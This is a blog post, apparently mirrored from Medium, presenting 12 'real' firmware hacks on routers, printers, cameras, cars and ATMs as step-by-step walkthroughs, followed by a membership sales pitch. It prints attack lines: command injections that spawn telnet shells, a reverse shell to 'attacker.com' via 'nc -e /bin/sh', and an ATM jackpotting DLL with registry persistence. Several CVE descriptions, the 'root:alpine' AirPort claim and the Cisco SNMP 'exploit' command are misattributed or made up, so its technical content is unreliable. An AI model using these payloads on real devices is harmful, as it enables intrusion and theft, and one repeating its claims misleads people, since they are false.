Firmware Hacking: Learn How 12 Real Devices Were Owned by Hackers

Firmware Hacking: Learn How 12 Real Devices Were Owned by Hackers | by Very Lazy Tech 👾 - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original Firmware Hacking: Learn How 12 Real Devices Were Owned by Hackers Free-Link Very Lazy Tech 👾 Follow ~9 min read · March 22, 2026 (Updated: March 22, 2026) · Free: No What if the "vulnerabilities" in your network weren't in your firewalls or laptops, but hiding deep inside your printers, routers, or even your refrigerator? It sounds wild — yet firmware hacking has allowed attackers and ethical hackers alike to control everything from ATMs to cameras. Firmware is everywhere, and when it goes wrong, it really goes wrong. This deep dive is for anyone who wants to see how real-world devices fell to firmware attacks, and how you can recognize, exploit, or secure these vulnerabilities yourself. We'll break down 12 infamous targets, show practical hacking steps, and unpack what really happens on the front lines of firmware pentesting. Let's get our hands dirty. What Makes Firmware Hacking So Dangerous? Firmware is the "middle child" of hardware and software. It's that low-level code running on chips inside almost every device you own — from routers and security cameras to cars and TVs. Here's the twist: Firmware is often overlooked in security audits. Vendors rarely update it, and when they do, the process is clunky. Meanwhile, attackers love it because if you can compromise firmware, you can: Bypass OS-level security controls. Install persistent backdoors that survive reboots and factory resets. Pivot deeper into networks undetected. You might think, "Surely, manufacturers lock this stuff down by now?" In practice, what really happens is rushed releases, default passwords, hidden telnet servers, and plain-old copy-paste errors. The result? Vulnerabilities ripe for the picking. Netgear Routers: Remote Code Execution via Soap Interface Let's kick things off with a classic — consumer Wi-Fi routers. In 2017, Netgear's firmware harbored a bug letting attackers run commands remotely. No authentication required. The Vulnerability Device: Netgear R7000, R6400, and others Bug: SOAP interface allowed unauthenticated access to system commands (CVE-2017–5521) Impact: Remote code execution (RCE) from the LAN or, with uPNP enabled, from the internet Hacking Example: Exploit the Soap Interface Here's how an attacker could exploit it in practice: Find the Router 's IP (e.g., 192.168.1.1) Send a malicious SOAP request : POST /soap/server_sa/ HTTP/1.1 Host: 192.168.1.1 Content-Type: text/xml Content-Length: [calculated] $(telnetd -p 1337) 3. Connect via Telnet : telnet 192.168.1.1 1337 Now you have a root shell on the router. Pentesting Tip Always check for hidden, undocumented APIs in firmware. Tools like binwalk let you rip open firmware images and grep for interesting strings — like telnetd , dropbear , or soap . 2. HP OfficeJet Printers: The Exploit That Prints Shells Printers are infamous for weak security. HP OfficeJet models in 2018 were hit by a bug that let attackers execute arbitrary code simply by sending a crafted print job. The Vulnerability Device: HP OfficeJet Pro series Bug: Stack buffer overflow in the printer's firmware web server (CVE-2018–5924) Impact: RCE, lateral movement on internal networks Hacking Example: Shell with a Print Job Craft a Malicious PostScript File that triggers buffer overflow. Send the file to the printer 's listening port (usually 9100): nc 192.168.1.42 9100 < exploit.ps 3. Gain Code Execution: The exploit can open a reverse shell, install a persistent backdoor, or start a new listener. Real-World Pentesting During an internal engagement, I've found printers running with default credentials (`admin:admin`). Once exploited, they're a great pivot point for further LLMNR/NetBIOS poisoning or capturing print jobs with sensitive data. 3. Hikvision Cameras: Hardcoded Backdoor Accounts IoT cameras are everywhere, and Hikvision has dominated the market. In 2021, researchers found a hardcoded "maintenance" account in hundreds of thousands of their cameras. The Vulnerability Device: Hikvision IP cameras, DVRs Bug: Hidden superuser credentials accessible via web interface (CVE-2021–36260) Impact: Full device takeover, internal network access How Attackers Used It Send a Crafted HTTP POST to the camera's web portal to activate a root shell. Connect Over Telnet or SSH with the hidden credentials: username: maintenance password: [hardcoded] 3. Pivot: Attackers can surveil, exfiltrate footage, or launch further exploits into the network. Bug Bounty Angle Hardcoded credentials are low-hanging fruit in firmware pentesting. Strings search in unpacked firmware images often reveals them quickly. 4. Samsung Smart TVs: Hacking TVs with XSS and Privilege Escalation You wouldn't expect your TV to be a target — but in 2018, Samsung's Tizen OS came under fire for multiple vulnerabilities, including persistent XSS and privilege escalation bugs. The Vulnerability Device: Samsung Smart TVs (Tizen OS) Bugs: XSS in web browser, local privilege escalation (no CVE assigned publicly) Impact: Compromised TV, persistence, potential botnet recruitment Practical Example: Exploiting XSS to Gain Persistence Send a Malicious Link (e.g., via email or on a webpage the TV can browse): http://evil.example.com/?payload= 2. Leverage XSS to execute code in the TV's browser context. 3. Chain with Local File Access to drop a persistent script onto the TV. Pentesting Tip Smart TVs usually lack proper compartmentalization. Privilege escalation is easier, and browser-based vectors matter more than you'd guess. 5. Android Phones: Stagefright and the Silent MMS Hack Arguably the most infamous firmware-level bug in smartphone history, Stagefright allowed attackers to own Android phones by sending a single MMS — no user interaction. The Vulnerability Device: All Android phones (pre-2015) Bug: Heap buffer overflow in Stagefright media framework (CVE-2015–3824) Impact: Remote code execution via MMS, full device compromise Real Example: Exploit via MMS Create a Malicious MP4 File that triggers the overflow. Send as an MMS to the target device. Code Executes Automatically: The media scanner parses the file immediately, before user even sees the message. Code Snippet: Crafting the Exploit (Conceptual) exploit.mp4 = malicious_payload + crafted_video_headers send_mms('+15555555555', exploit.mp4) The Cool Part? Attackers could exploit millions of devices at scale — no clicks, no warnings. This bug earned researchers over $100k in bug bounties. 6. Cisco IOS Routers: SNMP Remote Code Execution Enterprise gear isn't immune. Old Cisco routers running IOS once came with an SNMP service flaw that let pentesters (and attackers) gain root shell access with a crafted packet. The Vulnerability Device: Cisco 1800, 2800, 3800 series (early IOS) Bug: SNMP buffer overflow (CVE-2017–6736) Impact: Remote root shell, full device control How Attackers Exploit Send a Malicious SNMP Packet (requires knowledge of community string, often public ). Overflow SNMP Buffer to inject shellcode. Pop a Shell or Crash the Device : snmpbulkwalk -v2c -c public -M exploit_mib -m ALL 192.168.1.254 Pentesting Takeaway Even "enterprise" firmware often uses legacy code. Never assume SNMP or Telnet ports are safe. 7. Tesla Model S: The Car That Let Hackers Ride Along Cars are computers on wheels. In 2016, researchers found they could exploit Tesla's firmware via the infotainment system and gain root access. The Vulnerability Device: Tesla Model S (pre-2016 update) Bug: Unsanitized input in browser, chainable with privilege escalation Impact: Root access, ability to unlock or drive the car Exploit Chain Example Connect a Malicious USB Drive with an exploit-loaded HTML file. Infotainment Browser Opens File and executes JavaScript exploit. Escalate Privileges to root shell: mount /dev/sda1 /mnt/usb cd /mnt/usb ./escalate.sh 4. Control Systems: Potential to unlock doors, start engine (limited by some physical safeguards). Real-World Reflection Firmware in cars is a wild west — attackers with physical access can do a lot. I've seen "valet mode" abused for privilege escalation on head units. 8. Linksys WRT Routers: The Shellshock Hangover Remember Shellshock? The Bash bug from 2014. Well, millions of embedded Linux devices, including Linksys WRT routers, were vulnerable because their firmware exposed Bash CGI scripts to the web. The Vulnerability Device: Linksys WRT series (and many others) Bug: Shellshock in Bash via web server CGI (CVE-2014–6271) Impact: Remote command execution, full root access Step-by-Step Exploitation Send a Malicious HTTP Request to the web interface: GET /cgi-bin/luci/;echo;/bin/bash -c 'telnetd -p 5555;' HTTP/1.1 Host: 192.168.1.1 2. Connect via Telnet to the new port: telnet 192.168.1.1 5555 3. You 're Root. Pentesting Tip Run nmap -p 80 --script http-shellshock against suspected devices — it often reveals easy wins. 9. Western Digital My Cloud: Command Injection for Fun and Profit Network-attached storage (NAS) devices are gold mines for data. In 2017, Western Digital's My Cloud had a command injection bug in its authentication process. The Vulnerability Device: WD My Cloud NAS Bug: PHP CGI script vulnerable to command injection (CVE-2018–17153) Impact: RCE, access to all stored files Attack Example Send a POST Request with Malicious Username: POST /api/Auth HTTP/1.1 Host: mycloud.local Content-Type: application/x-www-form-urlencoded username=admin;nc -e /bin/sh attacker.com 4444;&password=whatever 2. Catch the Shell on Attacker Machine: nc -lvp 4444 Practical Insight NAS firmware rarely gets updates. During red team gigs, I always test for web-based command injection — admin panels are often riddled with them. 10. Apple Airport Extreme: The Hidden SSH Backdoor Apple's Airport Extreme routers were long considered "secure by default". In 2013, researchers found a hidden SSH service with default credentials. The Vulnerability Device: Apple Airport Extreme (2012–2016) Bug: Undocumented SSH account (`root:alpine`) Impact: Root access, persistence on home/office networks How Attackers Got In Scan for Open SSH Port (22): Login Using Default Credentials: ssh [email protected] password: alpine 3. Full Control: Attackers could reconfigure the device, install backdoors, or sniff traffic. Bug Hunting Tip Check for leftover debug accounts in all embedded firmware. They're often missed in public releases. 11. Ubiquiti EdgeRouter: Unauthenticated Configuration Download Network admins love Ubiquiti for its power and price. In 2019, a bug in EdgeRouter's firmware allowed anyone to download full configuration files — no login needed. The Vulnerability Device: Ubiquiti EdgeRouter X, Lite, Pro Bug: Unauthenticated access to /config/config.boot Impact: Credential theft, network mapping Attack Steps Fetch the Config File: curl http://192.168.1.1/config/config.boot 2. Extract Credentials: — The file contains plaintext passwords, VPN keys, and more. 3. Leverage for Lateral Movement: Attackers can then log in via SSH, web, or VPN. Pentesting Practice Always try accessing /config , /backup , /download , or /admin endpoints. Many vendors leave them unprotected. 12. ATMs: Jackpotting via Firmware "Updates" ATMs run specialized firmware that, when exploited, can literally spit out cash. The "Jackpotting" technique relies on booting ATMs with malicious update images. Photo by RoonZ nl on Unsplash The Vulnerability Device: NCR, Diebold ATMs Bug: Insecure firmware update process—no signature verification Impact: Attackers install malware, trigger cash dispense Real Attack Scenario Physically Access the ATM (often via USB port inside panel) Insert a Malicious USB Drive with crafted firmware update. Reboot ATM into Update Mode: Most ATMs run Windows XP Embedded or a similar OS. Firmware Loads Malicious DLL that runs attacker code: copy jackpot.dll C:\Windows\System32\ reg add HKLM\...\Run /v Jackpot /t REG_SZ /d "C:\Windows\System32\jackpot.dll" 5. Dispense Cash or Steal Card Data Red Teaming Note If you ever see an ATM with exposed USB or SD card ports, chances are it's vulnerable. Banks are getting better, but I've seen this trick work in real pentests before. How To Start Firmware Pentesting Yourself You're probably itching to try this out. Firmware pentesting isn't magic — you need the right tools and mindset. Essential Tools binwalk — pulls apart firmware images for analysis hexdump , strings , grep — find creds or command snippets QEMU or emulators — run firmware locally Serial console/UART adapters — hardware-level access Pentester's Workflow Download Firmware from vendor's site or extract from device. Unpack Firmware : binwalk -e firmware.img 3. Search for Credentials, Scripts, or Binaries : strings _firmware_extracted | grep "password" 4. Check Web Interfaces : — Locate www , cgi-bin , or htdocs directories. Look for PHP, Perl, or shell scripts with poor sanitization. 5. Emulate or Deploy in a test VM or device to probe for vulnerabilities. Bug Bounty Angle Bug bounty platforms love firmware findings. Hardcoded creds, RCE, or privilege escalation in IoT devices get top-dollar payouts. Closing Thoughts: Firmware Is the New Frontier Firmware hacking isn't some niche black art. It's core to securing the devices we depend on daily — routers, cameras, printers, cars, you name it. Attackers know firmware is often the weakest link, buried under layers of forgotten code and rarely updated. Whether you're hunting for bug bounties, defending networks, or just want to see what really happens when your smart toaster gets "owned", diving into firmware is deeply rewarding. You'll need patience, curiosity, and a solid set of tools. Keep exploring, keep poking, and remember: The best vulnerabilities are often hiding in plain sight — just waiting for you to unpack that image, spot that string, and make your move. 🚀 Become a VeryLazyTech Member — Get Instant Access What you get today: ✅ 70GB Google Drive packed with cybersecurity content ✅ 3 full courses to level up fast 👉 Join the Membership → https://shop.verylazytech.com 📚 Need Specific Resources? ✅ Instantly download the best hacking guides, OSCP prep kits, cheat sheets, and scripts used by real security pros. 👉 Visit the Shop → https://shop.verylazytech.com 💬 Stay in the Loop Want quick tips, free tools, and sneak peeks? ✖ https://x.com/verylazytech/ | 👾 https://github.com/verylazytech/ | 📺 https://youtube.com/@verylazytech/ | 📩 https://t.me/+mSGyb008VL40MmVk/ | 🕵️‍♂️ https://www.verylazytech.com/ #hacking #penetration-testing #cybersecurity #ethical-hacking #bug-bounty Reporting a Problem Sometimes we have problems displaying some Medium posts. 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